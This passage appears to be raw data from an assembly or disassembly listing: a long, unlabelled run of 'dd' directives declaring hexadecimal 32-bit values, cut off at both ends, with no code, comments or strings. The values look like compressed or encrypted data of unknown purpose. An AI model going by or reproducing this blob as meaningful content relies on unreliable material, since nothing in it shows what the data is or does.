0C9430096h, 9CB12E2Dh, 1A6201EAh, 93C48295h dd 0B2FE803Bh, 0B37521A9h, 3AF23A31h, 8746969Ch, 90343B9Ch dd 41FC3DB4h, 187CA12Ch, 3CD26842h, 0C75E280Ah, 0CA00A0C8h dd 6F351864h, 1C39F8BBh, 0C041FEB3h, 0DAF1851Eh, 870086D2h dd 0C9D7CC0h, 13C57697h, 3091D6FCh, 269F2934h, 6470A81Ch dd 0B009846Eh dd 0A2C4178h, 0F78E8823h, 7DDE9F20h, 0A3000F94h, 1259F078h dd 57291Bh, 0BFBA11CAh, 5B95A9DBh, 0E03F410Ch, 58EAF151h dd 0F30016ADh, 19C12CF7h, 450033B1h, 0B947AE9h, 5F744Ch dd 3B6B4303h, 828B0809h, 98801300h, 9F144081h, 38FC3EA9h dd 0C06C5800h, 90510EBFh, 54C9CE07h, 0A1300D2Ch, 4A5A53h dd 432FDBABh, 0EB443677h, 14A8461Eh, 5954A1C0h, 174A66h dd 0E2958FC8h, 0D9BDC558h, 0BA342500h, 0CBA497E1h, 643B006Fh dd 0AF4CFBD4h, 720BB401h, 100AC525h, 0E85B53D4h, 0B77904D7h dd 82109456h, 0B460408Ah, 1005289h, 2D95BEFDh, 798E2712h dd 0B07C5447h, 100E21B9h, 93842A40h, 79FF800Bh, 0F9CD0D1Fh dd 4C40381Dh, 89DF8C23h, 3C140074h, 73427551h, 1C925E59h dd 6C58A4E8h, 0DE048114h, 58818D27h, 83246E23h, 409AE555h dd 25BB57F8h, 20493800h, 51020D1Ah, 0FA621C21h, 0A2BF506Ah dd 244468h, 4DE81708h, 8F8E07C7h, 6BD3300h, 0EAA418AEh dd 1D289A74h, 40DD34B8h, 0D465F673h, 4A0005D5h, 97510C41h dd 0A33529h, 0AC75861Dh, 431E671Fh, 6F55DDF1h, 9C17C780h dd 0EFAD1E02h, 0C430803Fh, 955B9A07h, 0EA0F3Ah, 2E1053F5h dd 724061A1h, 0A9963AE8h, 0D6426707h, 0C0A07A77h, 0C1B3B4ABh dd 4F496909h, 0FF48605Dh, 624C0012h, 9CD0D775h, 0F9CFBE3Eh dd 4BA7E073h, 1905AB5h, 42C2979Fh, 47CA685Fh, 28A0DBE4h dd 111FDFB1h, 5E5DC1F2h, 0FB911FA4h, 400E2789h, 159BB8B8h dd 0CCCCFAEEh, 8F783201h, 0E14437EDh, 0DFC8D788h, 0E0193D1h dd 8E2509BAh, 0C289B29h, 0BF9D069Eh, 50070A3h, 0A05E98F4h dd 95191DBh, 0D1C967D7h, 0A5092380h, 8105B171h, 1C0693D5h dd 32E11C90h, 9F8601B2h, 5D3510C3h, 2A4FC033h, 61A43F35h dd 13288C8Ah, 7C30B0FCh, 808800D1h, 572BC896h, 0FB008EACh dd 0A730650Fh, 46CE4Dh, 6822695Ch, 0D14D225h, 0F3AAAB00h dd 82E3D1E2h, 62273A41h, 61F47B8Fh, 10766767h, 0C88D883Dh dd 0AE00DF74h, 0DCE01D4Fh, 0E2D8983h, 26BE9593h, 7FE03A8Fh dd 4CBA65Dh, 3B005771h, 0FAB3AD7Bh, 7F77FB32h, 0EE71036Eh dd 8F1CA696h, 9942D980h, 7CE46100h, 0E5C743E8h, 0FB010E0Eh dd 0D4616D88h, 0D8450428h, 2E0FB0A7h, 0E0C5421Eh, 960801F4h dd 5ED00069h, 0BDCBD4ADh, 64E21BB8h, 5C54A703h, 0B8A6A367h dd 246DCD05h, 0BD040436h, 98720FF8h, 0A7C9195Fh, 1730880h dd 5C3EAB59h, 0FEB287C7h, 7580A6DFh, 0C8BCA8h, 65BBAD94h dd 61884269h, 0B013D6E8h, 77075B9Dh, 39F68CC6h, 47840161h dd 0D9383E50h, 0D008CDF3h, 654CC917h, 11C01828h, 88784710h dd 0D8180F69h, 9C2A49ADh, 94A4000Bh, 3E9B8BA3h, 0DB001BDCh dd 0FBEEB486h, 1ED8FA8Ah, 0C8C56Bh, 0F28C2C4Ah, 0A016D3FFh dd 0E801F4D4h, 315EB3A6h, 0C06B8093h, 0A5018024h, 944BCF0Ch dd 6EA93Eh, 0C7A41FAh, 9A7C89BBh, 251B990Ch, 0BC2111h dd 0A69F8A43h, 3866292Ch, 90EE19C2h, 77985810h, 179700E5h dd 0D67C7196h, 0EF000A02h, 6A6495C1h, 809FB6h, 8C4D6674h dd 37F92798h, 53EA3807h, 1CE0CD26h, 8451F8h, 7C053068h dd 7A67F219h, 2709C6F8h, 572907A7h, 5F629280h, 600790EBh dd 0F312CE7Fh, 8807A2C1h, 9BF4E4h, 94817628h, 62AB6B14h dd 0A1A0C860h, 4D1ABFh, 0A9C443CFh, 67C6B1EBh, 0EF81E81Ch dd 28D730FCh, 7BED48B2h, 473806BAh, 19B8AAB6h, 0BC76F200h dd 950ACAADh, 0FF4D0102h, 743EDB9Dh, 2F38841Bh, 39C19187h dd 8C50845Dh, 0E2F1F0F8h, 0CC791C0Dh, 9D915F63h, 2C3580FDh dd 0D65513B4h, 3DB26C00h, 0CEAAB552h, 6D70C010h, 801A99DAh dd 0E8F22C00h, 5DE47D12h, 26720102h, 86CFFDC5h, 0BAB1FC1Eh dd 0AF16F501h, 231C3F68h, 8A1BD050h, 5E870758h, 619721CEh dd 0C573E7ECh, 10C2FC5Ah, 0E051E23Ah, 8AFD6FA9h, 69C9005Fh dd 0FA37E408h, 0CF00E1D9h, 1CCA3197h, 44D7A8h, 32B6A7F9h dd 37E325A4h, 22B7AB00h, 0E196274Ah, 3AE5002Bh, 83BCBD39h dd 0D2120DF8h, 0A0806046h, 0B39C3Fh, 5B85048Dh, 28A854B5h dd 1C7D8C00h, 654074BAh, 0A5AE0053h, 8EC4A94h, 951D87D1h dd 440CD6D9h, 742036h, 29419002h, 525807C9h, 9F9AD100h dd 0CE5D5C7Bh, 0D0A004Fh, 653F7078h, 0BD00B7F3h, 0F252FD7Ch dd 74BAEFB1h, 0AA008439h, 0CB485340h, 0FAB2768h, 7A923DE7h dd 458B0240h, 4C00152Eh, 0E63AD429h, 0E7F2C1h, 5F53B5Ch dd 4E53BCF0h, 756BA916h, 1057200Ch, 2E3400DFh, 1F6D73A5h dd 103A177Bh, 213E302Bh, 233F11h, 0EFC1A045h, 35F28515h dd 0F659BA06h, 6EC87EB7h, 4EAAA194h, 11105468h, 518E4017h dd 0A1DC78E0h, 8E00094Ah, 1D93E3CEh, 161BAC11h, 88912Bh dd 6E459AEFh, 3308792h, 5E7A7861h, 9432068Bh, 0E8389CFAh dd 3B87970Dh, 0B1C0200Ah, 8950003Ch, 0AF732676h, 0AE017C99h dd 323FE2D3h, 3C70EA8Dh, 0A59C004Dh, 859C803h, 5103EC11h dd 0A42ECE13h, 0FBE690EEh, 0F43C0FAAh, 0B4A0EFE2h, 0AFBF9B18h dd 0D61B5102h, 6027A0A3h, 70FA515h, 3389C087h, 0CE5AE0CDh dd 0DC00A19Bh, 0EE9701B1h, 4BA8A46Bh, 34C0FBB6h, 0EF53074h dd 0D498F96Eh, 48E8B320h, 1F00A850h, 0A4BFAB2Dh, 43CF2h dd 0BD327EDFh, 0A5D0976Ch, 0AB011FECh, 7B031B31h, 30811C15h dd 2F733717h, 0B1C5D091h, 0E8276B03h, 2C22A34Eh, 0CB1D20h dd 48E4C8D0h, 9300890Eh, 62F97F52h, 31261E7h, 321A55B5h dd 9860E1ABh, 3DB9B789h, 57C73AAAh, 89BF1060h, 0B2014478h dd 2D9C9893h, 10D09665h, 3A20C047h, 0AA9777A7h, 68641F00h dd 6FDBEE01h, 1346039Eh, 2E366C9Bh, 4D00617Eh, 0F5D13D52h dd 27ECBEh, 2F6E065Ch, 5BFE1817h, 4847D000h, 0D4C2CC29h dd 0A2A9CE6Ch, 9183A028h, 0E8FCDFECh, 30F32DFBh, 80203D7Bh dd 62F0516Ch, 0A47822Ch, 7DD91900h, 520D1h, 2FAB8EE8h dd 5CD034C6h, 0C492AE03h, 0C008B73Dh, 7A6FDFh, 0F599FFD1h dd 9E73F062h, 43981F00h, 9BCC477Bh, 88AD1C4Ah, 62E2804Ch dd 25ABE4B9h, 58FA0B3Dh, 223A0FDAh, 9EE36745h, 0FD42CEE0h dd 470C3CEDh, 0C0F6549Dh, 173EC4F5h, 32007658h, 90D4C011h dd 0C601FFh, 538681Eh, 0B0674615h, 807B413Ch, 82886F3Eh dd 1409B501h, 909A1F39h, 0C2437103h, 55C1157Eh, 1293E021h dd 69E46200h, 0A133269Eh, 3D0C0718h, 0C059C938h, 318EA465h dd 0CA30F90Bh, 3CD0982h, 0A5F57Ch, 48C9818h, 0EACF4407h dd 83707CE8h, 7E29B925h, 0DC430CA0h, 0E500D428h, 3287DDDFh dd 777C0A82h, 79EAB036h, 110F60B2h, 0B4D81068h, 0F26FBA03h dd 706ABE6Eh, 312A0008h, 0D88815DDh, 900795B7h, 2601F103h dd 44519A60h, 0C715E01Fh, 4CE7D3B8h, 270C0830h, 600B165Fh dd 7053E32h, 0F7331100h, 0AB79B47Fh, 4DF9A408h, 43E31E29h dd 159B1C36h, 0B056D6B0h, 0C45F5207h, 47E05DFFh, 79450F4h dd 4BA6519h, 3A030BDBh, 2E869027h, 0F495EA03h, 0A1363344h dd 528070FFh, 0AF1105B9h, 0B44CD01Ch, 0F9A307F6h, 1BF0E5A1h dd 582F5BE6h, 0B90083D2h, 3AA97D3Ch, 6D007414h, 70EC46FFh dd 1F441AC1h, 80DD5A93h, 2FAD76BAh, 0D400097Eh, 34C8537h dd 78C8D751h, 70570772h, 80D5915Dh, 6B542A58h, 0A7827F1Fh dd 24921D80h, 123EA8h, 0C4D7AF5Dh, 81C9571Fh, 77FE043Fh dd 0A8A22F00h, 0C3DD85E9h dd 0E84B07A6h, 608606F8h, 0E566CA22h, 801D463Eh, 0BA1802BBh dd 8F3624h, 0B41B8A44h, 0CA37108Eh, 94627C00h, 648BE6E2h dd 0DA140EF1h, 0C4EE1FB6h, 0E39F5898h, 1E9C61Fh, 77F68340h dd 3EC996Fh, 3258EE50h, 4BC054B2h, 0F900D2A4h, 0A98CF122h dd 51E033h, 0B35EF70Fh, 0FF23E68Ah, 0AEF6B900h, 6A5104Eh dd 223B0713h, 0A03CECF7h, 9DB96C62h, 78B10330h, 3394979h dd 35AE2816h, 0A9014A6Fh, 0A548F32Bh, 0E5EC5896h, 0A4620C0Bh dd 0BD58ADCFh, 0EEE3FA00h, 6DE9DAD5h, 5EF40063h, 98954F4Bh dd 0BF01D7C9h, 0D96364Eh, 0B880A9BEh, 0D005ADB1h, 0DF0142C4h dd 8E75B503h, 0E80BDEDh, 9914AC28h, 5100436Eh, 0D7A99F39h dd 0E8E69106h, 9EB500B6h, 2CE3ADA8h, 0C80FE149h, 0E082FE38h dd 9737BEFDh, 3062001Eh, 292B81CEh, 0EC014BBBh, 0D92C8963h dd 0B430D719h, 60C5741Eh, 3B672118h, 200EEC7Bh, 3F8EB310h dd 39848Fh, 6C158B40h, 745EB834h, 8F30C7F9h, 0F6C5A076h dd 36E0E131h, 0A978CD60h, 7C342344h, 794603E0h, 22762952h dd 6ABB0800h, 0DF6EDA8Eh, 0E66905ACh, 80131996h, 3BA7C48h dd 4B290560h, 48ABDC4Ch, 0EB003C74h, 179E9577h, 2200523Ah dd 971601FAh, 606866C8h, 0D4883031h, 0EB3AB406h, 0AECF00A0h dd 0A8CBF029h, 0D0BF0EF9h, 0C2FFAC98h, 2850B4DCh, 0D854DE60h dd 0ADC5400Bh, 1B82801Eh, 0EEFD7h, 0DD13A45Bh, 0C4FBEA49h dd 29908B60h, 0DCDEF1h, 0D884A020h, 774F5DFDh, 0B10F3176h dd 6764EA65h, 21F0E0F3h, 1D664Ah, 91CD125Ah, 1A0AEFF4h dd 0A756820Fh, 290DA047h, 0FB7F42h, 79E1DB9Ah, 14E7B0EBh dd 0E4CCAD00h, 0D94622F7h, 6F200041h, 38D67C3h, 0C8008744h dd 0ADBC3CDEh, 7C9A429h, 2D48D514h, 7E70A05Dh, 9500D80Eh dd 81EF786Bh, 70A504E4h, 7F83047Ch, 80389BA9h, 549A0AB8h dd 60647200h, 0A656E176h, 71D900F6h, 0A497E226h, 5C00A1EDh dd 74D6D3FFh, 0FA6B6Ah, 48091949h, 0B655E6BAh, 5BAE9200h dd 0EF4664F2h, 79D03A9Bh, 2FA11280h, 0DBDC7CC5h, 9DBA9000h dd 27D55217h, 5928004Fh, 0C48EC99Ch, 4500761Ch, 0E510A7C7h dd 2FA6BAh, 48B7F324h, 79BB6067h, 0D6079D2Eh, 0E7178600h dd 6B4D1Fh, 50157CF0h, 69B4EBC5h, 0C077E278h, 6CF1DA00h dd 4D1A3561h, 0F3C70173h, 0D5EB14CEh, 56D89C25h, 70347100h dd 607CCD65h, 5CC919A6h, 0B901BE8Ch, 1514A036h, 0B6FCBD2Bh dd 1B1800BCh, 9778A23Fh, 0F700B174h, 1C71AB4h, 0E643FBC8h dd 54D81ECEh, 0FE08004Eh, 10B786F8h, 9ADDC22Eh, 34930B3Dh dd 2CD70090h, 2622CDF2h, 0F0C2461h, 258039FBh, 8CF53CE8h dd 74065300h, 0EF081498h, 6B078h, 15A3F613h, 9237B0EAh dd 95ADB407h, 0C0EEBFC6h, 0BE1FF53Dh, 0AF710Ch, 40A75450h dd 0AE02D81Ah, 3C4DB400h, 0D7B98DADh, 1CD00A8h, 0C34A86AFh dd 97002FC6h, 0A631961Ch, 1B5F692h, 34DA07B9h, 714EAC0Eh dd 0D4F66099h, 166CA800h, 8F867F79h, 3D490039h, 26B42DC2h dd 0AE00EF83h, 78845077h, 13D21E8Dh, 7E7D529h, 4E2E54D7h dd 0E6436AC0h, 0BB001ABAh, 0B2771F98h, 3D267Dh, 799586ACh dd 0E6FF53E3h, 8F9A730Bh, 36A180A9h, 7F5D8B6h, 1D155EB8h dd 0FC37D561h, 0DDCA032Bh, 0C0760535h, 329D0F41h, 0C8199B30h dd 10C4049Dh, 0E7CBE383h, 6FF23F40h, 4F95001Bh, 50D2D15Ah dd 617F6751h, 47AB0600h, 0DE250A0Eh, 2B29C2EDh, 0E00FD274h dd 6049FCEh, 5C108447h, 27216E12h, 9EF4F504h, 9ADAD300h dd 0FC102507h, 63082D4Eh, 6908CFB8h, 284F940Fh, 2ABBB608h dd 0C8531F04h, 44EB4304h, 6342C55Bh, 0BB033C11h, 0BE291945h dd 40B7A1D4h, 3E832E14h, 0C4A7F780h, 5F5E36A1h, 4C520CA1h dd 8E627351h, 24F0E7A1h, 104C21BFh, 51EF299Ah, 0B75E658Bh dd 32162100h, 0B04E43F6h, 49CE0041h, 0AA99767Ch, 81001E47h dd 5D30230Fh, 357841h, 7B6A942Bh, 0BCE80246h, 8700D2E2h dd 528F1948h, 5A37Ch, 6EBE5856h, 0E8C43CEAh, 67D0B700h dd 555B84DAh, 734F3D09h, 6681D280h, 7FBD2DCCh, 0F1E9F300h dd 0A8AB93C3h, 4710C07Ch, 27A46AC8h, 89BEA93Eh, 62BAC0h dd 0B5293710h, 2C960595h, 0C00AF16Fh, 7807A934h, 69CD4B00h dd 836D180Dh, 0F40E0063h, 0EA92365Ah, 0C200E3C7h, 0E4F00A40h dd 16A82DCAh, 0E515872h, 17A32C07h, 8A8002F7h, 533ACB87h dd 262B80AAh, 36ABB910h, 0CE40048h, 4DDA3A85h, 391DD112h dd 49895204h, 0BD6020FDh, 0F7A7B0h, 6DE785C1h, 0BAC7FC4Bh dd 0E8B77A01h, 6882EFF6h, 1BA0CE80h, 6C0D93E2h, 2B7E6700h dd 0B3A48B3Ah, 1A3600C3h, 535745CCh, 5830C43Fh, 0BFD9D05Fh dd 52BC002Ch, 0B5D38774h, 8000C46h, 47F4C90Ah, 7B3956FFh dd 0F2430014h, 9D73885Bh, 83F6B9DBh, 9368F900h, 7FAB180h dd 0E9FC00DDh, 0DCBAB6E6h, 6100CE2Fh, 172ACDD5h, 0F86863h dd 0E43C70DFh, 0DD9462BEh, 493D8307h, 0A531318Bh, 30B80CB1h dd 0BFF60280h, 0B4A09C3Fh, 3C6B1707h, 86A09528h, 54FAE1h dd 0AB2B5997h, 2F7A5C33h, 9F3D3E00h, 33B0BAEh, 0E15E0A3Ch dd 0A0088Ah, 0F706F50Ah, 0B006381h, 73A11E2Ah, 13DC0C5Ah dd 42D7A5h, 76E1205Fh, 7A00E5B0h, 7F758293h, 0C4CA23h dd 1F325926h, 92E3493Bh, 0BE2B4700h, 0C589B156h, 8D350728h dd 10FFB6CEh, 76A61E9Ah, 0B9424Dh, 634E3E43h, 0E8CD215Ch dd 0E2410074h, 0D9BE4DFAh, 0CC01ABC4h, 84A59051h, 1080D199h dd 0C6FE411Fh, 4A0002BCh, 0E97BD59Ah, 0C0E09Fh, 1C296424h dd 5912211Fh, 82807201h, 17E5FC62h, 92A102FCh, 11DA001Ch dd 82AA54EEh, 5998101Ch, 0BDB38F05h, 648080A3h, 4437F0h dd 1C8A1DC5h, 2394D1F3h, 220071E8h, 0D388CC3h, 0B8593E3Fh dd 532000A6h, 7CE51E58h, 0E1014063h, 3EE04FDAh, 90E87D83h dd 0B76D000Ah, 4A6EFC7Ah, 2B3071F2h, 5B930C98h, 0E3EF0003h dd 5DE1FB55h, 4203B0D3h, 0C1D5FF26h, 661BE17Bh, 0B4F5F0E7h dd 369D005Eh, 0B1677DA4h, 4B3FAF33h, 2B2F805Dh, 579E3893h dd 0DD740170h, 0B06EBA60h, 194BD0A6h, 0C80BF600h, 4E689781h dd 38E70189h, 0D854912Ah, 0BFA3704Ah, 1E7C5739h, 0E4C08C42h dd 0A14B8086h, 0BAC10027h, 64AAC2FAh, 0A601D508h, 2838AE84h dd 0B8FF0922h, 356A7Eh, 6814A50Dh, 0BB4599B5h, 8B4C4D01h dd 2FE9D71Ah, 52A6BD40h, 0E38A0032h, 7791E4BCh, 5A00861Eh dd 895F2F38h, 158CFD8h, 1B6A04F1h, 0D75C446Dh, 0E8E693B7h dd 8DBB9180h, 26F4800h, 7E1632ACh, 0D89438F2h, 0E6376000h dd 1CE4BF4Eh, 7C0994Ch, 0ADC9A06Eh, 0AB2E30C0h, 0F1B53F76h dd 4CA691Fh, 0C08ED10Ch, 7FEF3EEFh, 35EE400h, 4FF1AAC6h dd 0B0090050h, 0CF374C07h, 5400B5EFh, 365CFBD7h, 9E570Dh dd 538B8202h, 132F7244h, 8D471700h, 0A197B83Ah, 0CA71001Eh dd 60CF204Ah, 0D2008490h, 0A62348C0h, 0B55285h, 0B70B8FE4h dd 0D3DA12BCh, 0B0361E00h, 9B87830Ah, 31C800D1h, 2EF7EF16h dd 4D047540h, 0DFF07C48h, 0BB5DE080h, 586600EDh, 30330543h dd 280FA9C8h, 20CC5B6Eh, 0EF2BCFF7h, 21D101C3h, 0B0068548h dd 46A5E81Eh, 0C69D1F1Ch, 5F365700h, 182C65h, 566FE7A2h dd 741C4651h, 0DB0F8300h, 8C6C04B2h, 1FDD00E2h, 9A700B58h dd 0B803FF82h, 0CF2AC1E7h, 6032F83Ch, 1A641CB0h, 4E52C08Bh dd 0CDE044E8h, 1CF2DC04h dd 5488217Ch, 0D1130C1Ah, 3D806DD6h, 0FD3CA712h, 56589C00h dd 29D0CFh, 0A2DC90CEh, 0E89A199Dh, 1EA0CD3Fh, 0CA0051AFh dd 7BEA4C6Bh, 0ECCE48A1h, 1EF8A83Eh, 8075D7C9h, 0D121440Bh dd 0D9000D46h, 1D9C848Dh, 0C2A58Bh, 0AD0BC4B2h, 3213857Fh dd 4B3C06B0h, 870E80EBh, 0E16F6E77h, 0CB5F3F74h, 12095E80h dd 0D7CCA04h, 0DD0F9209h, 0B2650025h, 46F581h, 4E21D0A1h dd 7BC73850h, 39402300h, 0DD9A51ADh, 0C6B900F0h, 71CB5B89h dd 3207996Ch, 8DB8953Ch, 0B835E673h, 7B7B9CEh, 7194799Ah dd 4BAA2026h, 9807A8C4h, 47E42BC1h, 0A64044E1h, 5B0F6D4h dd 8A071078h, 5B208015h, 8B07D408h, 58A43B84h, 625F030h dd 0D1D2003Ch, 0F22D9C73h, 561EB334h, 5E43C575h, 984DD56Fh dd 0FF72CEh, 0DD97100Eh, 0DE49CA06h, 53A52507h, 0FDB067B0h dd 1E9EAFh, 680715FFh, 82B5F663h, 900A674h, 0ACA531E9h dd 7BEB6EADh, 39C301D8h, 8778486Ah, 1BB7FC4Fh, 6D882650h dd 8AA38005h, 0D080E7D7h, 3F8E3DEh, 6FC5E0B0h, 4AD024ABh dd 0A401815Fh, 0BC0496D1h, 0AF2186C4h, 0E429A06Ah, 0BFE2B200h dd 2D15EBA0h, 84D400EDh, 8D0F4638h, 57282694h, 7E3AFF24h dd 0E40D8003h, 84512AF2h, 0CDF400F3h, 1013A06Ah, 0BD0FD22Ch dd 0E0099E25h, 6118BCC1h, 0EF520FD8h, 0BF2BD15Ch, 0FD40EA00h dd 0DDF987EAh, 0DDC570A7h, 7985C800h, 74840A19h, 86980762h dd 0F24BDC3Dh, 6640FC7Bh, 0BD05B0B7h, 33CB03A6h, 49BC480h dd 6829007Eh, 0AB118701h, 0BDEC09A7h, 0CBB42C00h, 0CE7E77E9h dd 0C41B2E63h, 323AD064h, 10FD7200h, 144FCE98h, 9E871E67h dd 2AA10333h, 1426A337h, 0B30226E2h, 6081D020h, 1C9DD45h dd 0B154FF55h, 0F02E09A9h, 5200B98Fh, 94C5B67Ch, 4FF364h dd 27DEA00Bh, 0E1A0CCDh, 0E6FDEF00h, 0A8812CE1h, 0E0431C48h dd 0BD524098h, 90E3893Dh, 0A572AB00h, 0A727055Ch, 4B7436h dd 4A597C5Dh, 6769DB0Ah, 0ACE59926h, 54261C00h, 1477F561h dd 0B0D829A8h, 964A3E02h, 350055DDh, 728C83h, 6142F95Bh dd 6E5266C2h, 51346D14h, 2B8800B4h, 30FC1538h, 0C18A00CDh dd 424EE65h, 0B13F1EDFh, 0C23F8073h, 0A6793E61h, 0B0A250A0h dd 5A220BBEh, 44003DABh, 31E61EB7h, 446A1400h, 509FD747h dd 0E0D30090h, 391F082Fh, 2D7F3F17h, 934A54Ch, 38A38693h dd 899460h, 3BCA9BF5h, 7D5D1FABh, 0D4119100h, 0DD2AFFB1h dd 5F8C0018h, 0E90B287Ch, 0A601ACC5h, 2C996451h, 54F889A2h dd 0E05D0076h, 3ECE2434h, 0FB4862D0h, 80C83F7Ch, 0B4F973DDh dd 0A94BF7h, 0A8FFDCDBh, 280FA591h, 0AB00CB7Bh, 4D794E11h dd 249363E3h, 6BB95Fh, 5449FBE0h, 4214F07Eh, 1B0C06Fh dd 1539BD25h, 5C24F53Eh, 7769814h, 0D896EBD1h, 1050171Bh dd 0DE2D6747h, 0FEAB1500h, 0B1DCD4F3h, 5E0F0045h, 0C547BDB9h dd 2614193Ch, 2B0A5B0h, 0A93928AEh, 0A3601252h, 30035BA8h dd 7BE4BEF2h, 66B0C733h, 2F0C9Ch, 0C1692B79h, 4D3964CCh dd 3AEDE41Dh, 5210BC28h, 471FBB26h, 13EFC07Eh, 0BA6232A2h dd 80677538h, 0D6B17B70h, 3174FBh, 8ACE5C9Ah, 931726DBh dd 7D981F00h, 0D167E6Dh, 975D017Bh, 0FED533C5h, 1B0BE8B5h dd 7C3B8900h, 317F64Fh, 2F40692h, 0D0DF206Eh, 4D596A2Eh dd 0E9D0B000h, 3658DB1h, 0AFE0C13h, 8FF09AEFh, 7C00C78Bh dd 16543210h, 50937799h, 0B9B4B2h, 0C317807Dh, 71728BB5h dd 6FF04600h, 77754791h, 97E4D5h, 844F9AE1h, 0AD023CB7h dd 0C8433800h, 0B5FBA33Dh, 1CC50F8Fh, 0E9A2130Bh, 3204C4FFh dd 0C92F80FEh, 74007BDCh, 0F3675304h, 2786AAh, 0FEDDC1FCh dd 3E1B22C4h, 90F05C5Ah, 0D39E09E6h, 5B804CF3h, 0FE3827E4h dd 0CA05F501h, 0D587D4F8h, 16698420h, 0B03ABC35h, 9300FFC8h dd 1BE0FB54h, 0F8C0B6h, 36F47E22h, 0CDF6D2CFh, 0AF1E3Ah dd 67DB3D2Dh, 0C7E040h, 0A59D25B8h, 0FF7A0422h, 0AA341700h dd 3B9A99Eh, 0D2E9074Fh, 0DED189DBh, 2086AE80h, 0C0032DCEh dd 38A161AAh, 3B9BB094h, 0F5A0C4F6h, 976C028h, 250FB913h dd 0E203E65Dh, 60B3EA02h, 2D3EEACh, 1822CCEDh, 11C013D8h dd 0AC079770h, 0C83F594Bh, 0D31F37B0h, 9D6F0BBAh, 4C000838h dd 77ECE1A9h, 8023533Fh, 22BB71B1h, 2980E7Dh, 3D645FC7h dd 50E094CBh, 2A017C72h, 27E7DD14h, 0FFC174Eh, 869C0002h dd 6BA8A252h, 0DD00928Ch, 87C0966Ah, 7D05CCCh, 0BB47DCD8h dd 720EF31h, 3B4B1E6h, 6516AD13h, 9BE48Ch, 0E532E1C0h dd 1F0E21F3h, 26A0C600h, 5653A449h, 151838C8h, 9067BE81h dd 60179CA1h, 660EB4E0h, 6049558Bh, 0DCF614B0h, 106060B2h dd 0D5FF85E8h, 4D7C4000h, 0A1AB9312h, 0B5423EE2h, 0E4CC1080h dd 0B3524C4Fh, 8738003h, 0C70564CAh, 6626EE50h, 4BE53DA4h dd 0D698004Bh, 76F99D17h, 0C400424Bh, 0BE6E2D61h, 0FCCD003Fh dd 396AA148h, 6D48E9FBh, 20870060h, 0CE71850Ah, 0AD150058h dd 2937C88h, 0F9007424h, 5F2B25A3h, 7DE7172Ch, 0B22230A1h dd 4F21DD88h, 0CB0059FAh, 0FE66731Bh, 1C574742h, 80A77BC8h dd 528FB71h, 321F50A1h, 0B4C0F774h, 0FD734E79h, 383B0035h dd 0EC6A6D37h, 67182280h, 19ECFF4h, 47CE01C3h, 0B6A011EFh dd 97EC3086h, 0F576C800h, 2DC2DB8Fh, 0D310310h, 14BD2E45h dd 9E888CF0h, 9D0086EAh, 6D5344E9h, 0E85A0Ch, 0C5C18D6Fh dd 41CCAED2h, 1A00F098h, 0A0FDA2EBh, 0D37886h, 8D1F32E2h dd 0CA0B4E4Fh, 0AB588100h, 0C15CDA4h, 2F9C01B0h, 8DFEC475h dd 43F2F4E7h, 0F9190800h, 5BCA63C5h, 0A0AD2E64h, 88218040h dd 0AA60439Dh, 5222B102h, 400E9606h, 380BA56Ch, 8D821E85h dd 0A78A4EB2h, 532674C8h, 1103AB7Bh, 43E74B89h, 3B182671h dd 0FE2E0111h, 2053A6D1h, 4006BF3h, 14342B6Ch, 733307C0h dd 0AA00027h, 0FFCF62F7h, 0F89BABF8h, 243F7400h, 0AA9590h dd 0E90ED7BFh, 399B30A2h, 0DC038200h, 0FBD29C6Fh, 0D7BE04D3h dd 0B0BFCFE8h, 0CD728D34h, 87903Dh, 0FA3020A5h, 3F9FB6C6h dd 0C94C212h, 1B0FFC4Fh, 0EF8159B2h, 0CCF03B7Dh, 3D00F251h dd 0A75D860h, 0E8B18AAh, 997C97E6h, 6381BE87h, 0B1C0F9E7h dd 0C6382F7Bh, 2D6A8091h, 0EC04DA9Ah, 133498EFh, 40E9D46Ch dd 0C94A5B84h, 2D01A664h, 937E845Fh, 2432B975h, 5440B1Ch dd 81BD983Ah, 60AB8BF0h, 0F9393951h, 21468033h, 38DE2FCFh dd 2B7B3C95h, 2E171800h, 81333F5Eh, 0E120E505h, 0B4C3F0EBh dd 715DA053h, 0D72200D1h, 0BFB325AFh, 0BC009094h, 0F6A04D8Bh dd 0FAADD5h, 187971Ah, 33C3DDB1h, 8F00E37Eh, 0EF300215h dd 1C4F4DB2h, 3A03C6D9h, 12A97C00h, 0E7275D08h, 8000E871h dd 2F17A29Bh, 5BC499h, 0FA194BF5h, 188FEB14h, 8B00E071h dd 0A47A3BE7h, 0DC0F90h, 85A65ED7h, 0FEBB5B23h, 2B096200h dd 0FD480AECh, 5D5800F5h, 6CE19A56h, 92766D0Ch, 7DAF260Eh dd 4E450127h, 0FAC48695h, 0CE6A0090h, 131CBC74h, 0F9EDA52Dh dd 4CF0E665h, 1A8B8701h, 688372ACh, 1F4E0C20h, 31A1F2h dd 5CE8F532h, 2E1D0D10h, 9800FC9h, 469FE4D1h, 0FEC80055h dd 28B987A0h, 7000C5B0h, 0D0B21CB1h, 335C3EAh, 89FD18AEh dd 45F28B4Eh, 0D80DF740h, 0E392CD1Fh, 9B0E7A2Ch, 0D47FC0DAh dd 1AEE5B7h, 0C0A04E0Ch, 78075433h, 111C27CCh, 68341230h dd 0B8FB00D0h, 0A5FC09AEh dd 0E1FE1ABEh, 635BB400h, 256BF171h, 5A8B013Ah, 0ADC16FCBh dd 0D412E0EAh, 0C02812Ch, 341E9201h, 11CC2E8Fh, 3AEA7D5Eh dd 8D009987h, 0DC9C5974h, 0EC002D9Eh, 3CB59DBCh, 0A2BA47h dd 97F6AE4Bh, 415ADD5Eh, 7E4F7700h, 0DFB30C10h, 0B7C303BFh dd 1D1285B4h, 0C99E40B0h, 56BB4F00h, 52B372D4h, 45FB00D5h dd 0A1B210ADh, 1513BCC1h, 1D1F21EAh, 7CB5DB80h, 1E55E696h dd 8E50CECDh, 1201F6Eh, 988247DDh, 7302AAE2h, 0EB07CBBDh dd 44F4E00Bh, 25630737h, 344957h, 8A854DA5h, 6BDBE807h dd 0F077FFDAh, 0E40E4490h, 0F51300D5h, 0B81A1E43h, 4700808Fh dd 62936C63h, 0B2F0F8Dh, 887B05Eh, 0CAE40F80h, 8848EC2Ah dd 9C4B2920h, 0E88D2F00h, 0B08A0EBEh, 51B9057Bh, 2C46A3Dh dd 52EBECDCh, 9C869203h, 0E35E3090h, 8CE700EDh, 6EA972B6h dd 800063DCh, 54277BF3h, 0E817F167h, 5E7403A0h, 0E356247Dh dd 0BF5528E0h, 7ADA4103h, 0D81FBCA7h, 0FE50338Bh, 9B9F470h dd 3ED9A91Dh, 66C81C20h, 